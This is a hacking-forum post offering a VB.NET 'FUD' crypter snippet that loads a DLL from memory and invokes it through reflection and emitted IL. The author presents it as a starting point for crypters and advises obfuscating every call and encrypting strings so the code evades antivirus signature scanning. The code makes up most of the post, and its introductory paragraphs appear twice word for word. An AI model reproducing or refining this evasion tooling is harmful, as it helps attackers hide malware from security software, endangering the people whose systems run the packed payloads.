FUD DLL Memory Invoke | Snippet 06-03-2016, 06:07 AM
#1
Yo.
I whipped this up to hopefully get a few people here interested in crypters and get the gears turning.
While this invoke function may be FUD for a little bit here, it won't be for long. However this is stupid simple to re-FUD, and if you don't know how you're in way over your head with crypters. You'll notice I only used CallByName and created dynamic methods ONLY WHERE NECESSARY if you want this really fud create a dynamic method for fucking everything and emit it from the IL Generator.
I would also highly recommend encrypting the strings and decrypting them at runtime, makes for e.z. scan time FUD. You could also theoretically incase fucking everything with CallByName, and I would recommend it as it makes evading signature-based heuristics e.z.
I've left this very well commented so it's easy to understand for newcommers, and for the sake of readability I didn't encrypt all the strings, and I didn't put CallByName around everything so the flow of the code is at least readable.
I whipped this up to hopefully get a few people here interested in crypters and get the gears turning.
While this invoke function may be FUD for a little bit here, it won't be for long. However this is stupid simple to re-FUD, and if you don't know how you're in way over your head with crypters. You'll notice I only used CallByName and created dynamic methods ONLY WHERE NECESSARY if you want this really fud create a dynamic method for fucking everything and emit it from the IL Generator.
I would also highly recommend encrypting the strings and decrypting them at runtime, makes for e.z. scan time FUD. You could also theoretically incase fucking everything with CallByName, and I would recommend it as it makes evading signature-based heuristics e.z.
I've left this very well commented so it's easy to understand for newcommers, and for the sake of readability I didn't encrypt all the strings, and I didn't put CallByName around everything so the flow of the code is at least readable.
Code:
Imports System.Reflection
Imports System.Resources
Imports System.Text
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Security
Imports System.Threading
Imports System.Diagnostics
Imports System
Imports System.Reflection.Emit
Module Main
Public Sub Main()
Console.WriteLine(InvokeDllFromMemory(My.Resources.testecho, "testecho.Maincls", "Main")) 'testecho is the namespace, maincls is the class name, Main is the sub name
Console.ReadLine()
End Sub
Function InvokeDllFromMemory(dllbytes As Byte(), namespaceandclass As String, subname As String)
Try
Dim dm, gen, a, b, bf1, bf2, bf3, bf4, method1 'Declar needed variables
dm = New DynamicMethod(String.Empty, GetType(Object), New Type() {GetType(Byte())}) 'Create a dynamic method for our IL generator
gen = dm.GetILGenerator() 'Get the IL Generator so we can emit all the opcodes!
bf1 = [Enum].Parse(GetType(BindingFlags), "Static") 'Declare our binding flags that we will need later
bf2 = [Enum].Parse(GetType(BindingFlags), "Public")
bf3 = [Enum].Parse(GetType(BindingFlags), "NonPublic")
bf4 = [Enum].Parse(GetType(BindingFlags), "InvokeMethod")
method1 = CallByName(Type.GetType("System.Reflection.Assembly"), "GetMethod", CallType.Method, New Object() {"Load", bf1 Or bf2 Or bf3, Nothing, New Type() {GetType(Byte())}, Nothing}) 'Create a method for our Assembly.Load function
gen.Emit([Enum].Parse(GetType(OpCodes), "Ldarg_0")) 'Emit the bare minimum opcodes, you will want to do this with all functions not just Assembly.Load in practice, I would recommend getting used to ILASM before diving into this
gen.Emit([Enum].Parse(GetType(OpCodes), "Call"), method1)
gen.Emit([Enum].Parse(GetType(OpCodes), "LRet"))
a = CallByName(method1, "Invoke", CallType.Method, New Object() {Nothing, New Object() {dllbytes}}) 'Invoke Assembly.Load with our DLLbytes as it's parameter and set A to the loaded assembly
b = CallByName(a, "GetType", CallType.Get, namespaceandclass) 'Get the type for the main class of our loaded assembly, in our case, testecho is the namespace, and maincls is the class
CallByName(b, "InvokeMember", CallType.Method, New Object() {subname, bf1 Or bf2 Or bf4, Nothing, Nothing, Nothing}) 'Invoke a member of the type, in our case it's the Main sub, this is where you would also pass parameters to the main sub if needed
Return True
Catch ex As Exception
'MsgBox(ex.Message)
Return False
End Try
End Function
End Module


![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)